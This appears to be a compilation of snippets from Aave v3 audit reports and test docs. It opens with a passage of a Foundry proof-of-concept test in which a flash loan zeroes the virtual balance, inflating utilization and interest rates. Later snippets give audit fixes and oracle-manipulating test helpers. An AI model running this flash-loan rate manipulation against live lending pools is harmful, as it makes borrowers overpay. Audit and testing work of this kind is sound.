        variableRateSlope1: 5_50,
        variableRateSlope2: 35_00
      })
    );
    vm.prank(poolAdmin);
    contracts.poolConfiguratorProxy.setReserveInterestRateData(
      tokenList.usdx,
      USDX_IRS_CONFIG
    );
  }

  function testFlashloanAttackS() public {
    // deploy attack FL receiver
    attackerFLReceiver = new FlashloanReceiver(
      IPoolAddressesProvider(report.poolAddressesProvider)
    );

    // prepare the users
    s1 = makeAddr("s1");
    b1 = makeAddr("b1");
    attacker = makeAddr("attacker");
    _prepareUser(s1, 200_000e6, 100e18);
    _prepareUser(b1, 0, 100e18);

    // 50 USDC is the premium
    _prepareUser(address(attackerFLReceiver), 50e6, 0);

    // prepare the pool with supply/borrow
    // USDX supplied = 200_000e6
    // USDX borrowed = 100_000e6
    // USDX virtual balance = 100_000e6
    vm.prank(s1);
    contracts.poolProxy.supply(tokenList.usdx, 200_000e6, s1, 0);
    vm.startPrank(b1);
    contracts.poolProxy.supply(tokenList.wbtc, 100e18, b1, 0);
    contracts.poolProxy.borrow(tokenList.usdx, 100_000e6, 2, 0, b1);
    vm.stopPrank();

    assertEq(
      contracts.poolProxy.getVirtualUnderlyingBalance(tokenList.usdx),
      100_000e6
    );

    // warp 1 day
    vm.warp(block.timestamp + 1 days);

    // perform the FL attack
    // flashloan 100_000 USDC
    // inside the FL callback virtual underlying balance is ZERO
    // any operation performed (that trigger reserve index and rate updates) will bring the usage ratio to 100%
    // boosting the supply and borrow rate
    // until someone else re-trigger a state update
    // for the delta time between the attack and the "new operation"
    // the borrower will pay more and suppliers earn more than deserved
    bytes memory emptyParams;

    vm.prank(attacker);
    contracts.poolProxy.flashLoanSimple(
      address(attackerFLReceiver),
      tokenList.usdx,
      100_000e6,
      "",
      0
    );

    // warp 1 day to see the effect of the inflated supply and borrow rate
    vm.warp(block.timestamp + 1 days);

    // compare values between v3.3 and v3.4 code
    _printData(tokenList.usdx, s1, b1);
  }

  function _printData(
    address reserve,
    address supplier,
    address borrower
  ) public {
    address vUSDX = contracts.poolProxy.getReserveVariableDebtToken(
      tokenList.usdx
    );
    address aUSDX = contracts.poolProxy.getReserveAToken(tokenList.usdx);
    DataTypes.ReserveDataLegacy memory res = contracts.poolProxy.getReserveData(
      reserve
    );
    console.log(
      "vub        \t:"
    );
```

--------------------------------

### Align AToken TransferFrom with OpenZeppelin ERC20

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Consider aligning AToken's allowance spending logic with the OpenZeppelin ERC20 implementation. This involves skipping allowance checks and event emissions when allowance is maxed out, and only emitting Approval events for active allowance modifications.

```solidity
if (currentAllowance == type(uint256).max) {
    // skip allowance check, decrease, and Approval event emission
}
```

```solidity
// The Approval event should not be emitted when the allowance is decreased by transferFrom.
// In the OZ implementation, the event is only emitted when the allowance is "actively" modified by the owner.
```

--------------------------------

### Calculate liquidation protocol fee

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Calculates the protocol fee during liquidation and ensures it does not exceed the borrower's available balance.

```solidity
  // Transfer fee to treasury if it is non-zero
  if (vars.liquidationProtocolFeeAmount != 0) {
    uint256 scaledDownLiquidationProtocolFee = vars.liquidationProtocolFeeAmount.rayDivFloor(
      vars.collateralReserveCache.nextLiquidityIndex
    );
    uint256 scaledDownBorrowerBalance = IAToken(vars.collateralReserveCache.aTokenAddress)
      .scaledBalanceOf(params.borrower);
    // To avoid trying to send more aTokens than available on balance, due to 1 wei imprecision
    if (scaledDownLiquidationProtocolFee > scaledDownBorrowerBalance) {
      vars.liquidationProtocolFeeAmount = scaledDownBorrowerBalance.rayMulFloor(
        vars.collateralReserveCache.nextLiquidityIndex
      );
    }
    IAToken(vars.collateralReserveCache.aTokenAddress).transferOnLiquidation(
      params.borrower,
      IAToken(vars.collateralReserveCache.aTokenAddress).RESERVE_TREASURY_ADDRESS(),
      vars.liquidationProtocolFeeAmount,
      vars.collateralReserveCache.nextLiquidityIndex
    );
  }
```

--------------------------------

### Reproduce Echidna Failing Property with Foundry

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/tests/invariants/docs/internal-docs.md

Use this Solidity function to reproduce a failing property identified by Echidna. Paste the generated test into the CryticToFoundry file and run with Foundry.

```solidity
function test_borrow_assertion() public {
    _setUpActorAndDelay(USER1, 453881);
    this.approveDelegation(
      1482526189130252178123437018605205213532554266044322803735452163998541884248,
      226,
      251
    );
    _setUpActorAndDelay(USER1, 42941);
    this.supply(1000000000000000001, 33, 89);
    _setUpActorAndDelay(USER1, 67960);
    this.setEModeCategory(118, 189, 2300, 30039);
    _setUpActorAndDelay(USER2, 287316);
    this.setUserEMode(145);
    _setUpActorAndDelay(USER2, 438639);
    this.borrow(2848252610, 0, 2);
  }
```

--------------------------------

### Optimize Isolated Debt Update Logic

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2024-10-22_StErMi_Aave-v3.3.md

Replaces a generic update call with a conditional check on the debt ceiling to optimize gas usage during liquidation.

```diff
-IsolationModeLogic.updateIsolatedDebtIfIsolated(
-  reservesData,
-  reservesList,
-  userConfig,
-  vars.debtReserveCache,
-  vars.actualDebtToLiquidate
-);

+if (collateralReserve.configuration.getDebtCeiling() != 0) {
+  IsolationModeLogic.updateIsolatedDebt(
+    reservesData,
+    vars.debtReserveCache,
+    vars.actualDebtToLiquidate,
+    params.collateralAsset
+  );
+}
```

--------------------------------

### Refactor ReserveLogic.executeEliminateDeficit for Improved Safety

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2024-10-22_StErMi_Aave-v3.3.md

This snippet suggests refactoring the `executeEliminateDeficit` function in `ReserveLogic.sol`. It recommends sanity checking the amount against the user's AToken balance before burning and moving the interest rate update before any burn or transfer operations to enhance safety and developer experience.

```diff
-    if (reserve.lastUpdateTimestamp == uint40(block.timestamp)) {
+    if (reserveCache.reserveLastUpdateTimestamp == uint40(block.timestamp)) {
      return;
    }
```

--------------------------------

### Test Helper Functions for Aave V3

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Utility functions for manipulating oracle prices, approving pool interactions, and minting test tokens in a testing environment.

```solidity
function _setOraclePrice(address asset, uint256 newPrice) internal {
    stdstore
      .target(IAaveOracle(report.aaveOracle).getSourceOfAsset(asset))
      .sig('_latestAnswer()')
      .checked_write(newPrice);
  }

  function _approveUser(address user) public {
    vm.startPrank(user);
    TestnetERC20(tokenList.usdx).approve(address(contracts.poolProxy), UINT256_MAX);
    TestnetERC20(tokenList.wbtc).approve(address(contracts.poolProxy), UINT256_MAX);
    TestnetERC20(tokenList.weth).approve(address(contracts.poolProxy), UINT256_MAX);
    vm.stopPrank();
  }

  function _mintToken(address user, address token, uint256 amount) public {
    vm.startPrank(poolAdmin);
    if (token == address(usdx)) usdx.mint(user, amount);
    if (token == address(wbtc)) wbtc.mint(user, amount);
    if (token == tokenList.weth) deal(address(tokenList.weth), user, amount);
    vm.stopPrank();
  }
```

--------------------------------

### Calculate Borrower Reserve Debt in Base Currency

Source: https://github.com/aave-dao/aave-v3-origin/blob/main/audits/2025-07-17_StErMi_Aave-v3.5.md

Calculation of debt in base currency within LiquidationLogic that currently rounds down, potentially leading to underestimation.

```solidity
vars.borrowerReserveDebtInBaseCurrency =
      (vars.borrowerReserveDebt * vars.debtAssetPrice) /
      vars.debtAssetUnit;
```

```solidity
bool isDebtMoreThanLeftoverThreshold = ((vars.borrowerReserveDebt -
  vars.actualDebtToLiquidate) * vars.debtAssetPrice) /
  vars.debtAssetUnit >=
  MIN_LEFTOVER_BASE;
```